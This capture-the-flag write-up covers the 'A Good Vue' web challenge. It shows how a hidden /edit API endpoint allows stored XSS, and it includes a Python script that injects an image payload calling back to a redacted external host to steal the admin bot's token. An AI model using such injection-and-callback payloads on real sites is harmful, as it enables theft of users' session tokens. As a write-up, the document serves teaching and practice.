# A Good Vue (web)  
Writeup by: [xlr8or](https://ctftime.org/team/235001)

As part of this challenge we get 2 web pages. One is for a bot, which will
make the admin *check out your cool stuff*, the second one is the page with
the pictures and the voting system.

Inspecting the main page, when it is first loaded, a request is made to
`http://goodvue-api.rumble.host/token` that will get us a `token` which will
be stored as a cookie.  
After we have this token, and refresh, we see some jury reviews, likes and
dislikes of the pictures that are posted.  
The site seems to function normally, and the big **EXPLOIT** button at the top
doesn't seem to work either.

To learn more about the website we can read the frontend source code, by going
to the `Debugger` tab of the browser dev tools.  
The interesting file we can find here is the `ImageComponent.vue`, which
contains the API endpoint we have already seen:  
```javascript  
methods: {  
like: function() {  
this.likes++;  
},  
dislike: function() {  
this.dislikes++;  
},  
todo_implement_update(_message) {  
axios.put(apiUrl + "/edit", {  
"id": this.id? this.id : "0",  
"token": this.token,  
"text": "::unimplemented::"  
});  
}  
},  
```

However as you can see there's an API function that we have no knowledge of so
far, the `edit` endpoint, since this is not exposed in the HTML of the
website.  
* `id` is the ID of the image where we want to edit the message  
* `token` is the token we have in the cookie from the very first API request  
* `text` is the content we can append to the message

Trying out this endpoint, we have the ability to append messages to the jury
comments.  
And sure enough this is vulnerable to XSS.

Most likely the objective is to get the token of the admin (although this is a
bit of a guess, there is no other way I could think of to win this challenge).  
We can construct the following python script, that will perform the XSS with a
payload that will call back to some extraction service (ngrok, or having an
external server etc..), with the `token` of whoever visits the page  
```python  
import requests

resp = requests.put('http://goodvue-api.rumble.host/edit', json={  
'id': '1',  
'token': '747401992a50da23723e84bbd7202a',  
'text': '![](http://<REDACTED>:8080/test.jpg)'  
})

print(resp.content)  
```

We can make the bot visit the website by providing our token, and solving the
proof of work challenge.  
Following this we get a hold of the admin token.

Once again we need to execute the bot for the admin token, and the new proof
of work script.  
Once the bot is done we get the flag.